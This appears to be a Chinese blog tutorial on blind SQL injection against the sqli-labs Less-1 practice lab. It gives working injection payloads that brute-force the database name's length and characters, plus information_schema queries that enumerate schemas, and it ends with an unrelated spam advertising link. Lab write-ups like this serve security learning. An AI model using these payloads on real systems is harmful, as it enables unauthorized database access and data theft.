作者:弍大爺 | 来源:互联网 | 2023-05-19 17:31
sql注入首先寻找注入点,然后判断注入类型(整形,字符型),是单引号闭合,双引号闭合,如果有过滤的话,是吃掉过滤还是阻断。来看例子:[plain]viewplaincopyhttp:
sql注入首先寻找注入点,然后判断注入类型(整形,字符型),是单引号闭合,双引号闭合......,如果有过滤的话,是吃掉过滤还是阻断。来看例子:
[plain] view plain copy
- http://localhost/sqli-labs-master/Less-1/?id=1
返回正常。
[plain] view plain copy
- http://localhost/sqli-labs-master/Less-1/?id=1-2
还是返回正常,但这时id=1-2为-1,如果是整形的话:
[plain] view plain copy
- http://localhost/sqli-labs-master/Less-1/?id=-1
该返回
但现在返回正常,由此可判断注入类型为字符型。输入id=1'
[plain] view plain copy
- http://localhost/sqli-labs-master/Less-1/?id=1'
可得是字符型的单引号闭合。基于此我们来对sqli-labs-master\Less-1进行盲注。
1.爆数据库名的长度:
[plain] view plain copy
- http://localhost/sqli-labs-master/Less-1/index.php?id=1' and (select (length(database())))=1-- -
database()表示选择当前数据库,-- -为注释符。用burpsuit抓包对长度进行爆破:
Payloads:
结果排序:
得数据库名长度为8位。
2. 爆数据库名:
爆数据库名第一个字符:
[plain] view plain copy
- http://localhost/sqli-labs-master/Less-1/index.php?id=1' and (select ascii(substr(database(),1,1))) = 1--+
Payloads:
第一个字符的ascii码为115,对应字符s.查第二个字符:
[plain] view plain copy
- http://localhost/sqli-labs-master/Less-1/index.php?id=1' and (select ascii(substr(database(),2,1))) = 1--+
第二个字符的ascii码为101对应字符e,以此类推爆出当前数据库名: security。
select schema_name frominformation_schema.SCHEMATA limit 0,1 //查找第一个数据库名
select schema_name frominformation_schema.SCHEMATA limit 1,1 //查找第二个数据库名
limit 0,1选取结果第一个,limit 1,1选取结果第二个,以此类推。
这里先暂缓一下,余下爆表,列以及内容后面补充。
北京除皱哪里好:http://www.shkqmrw.com/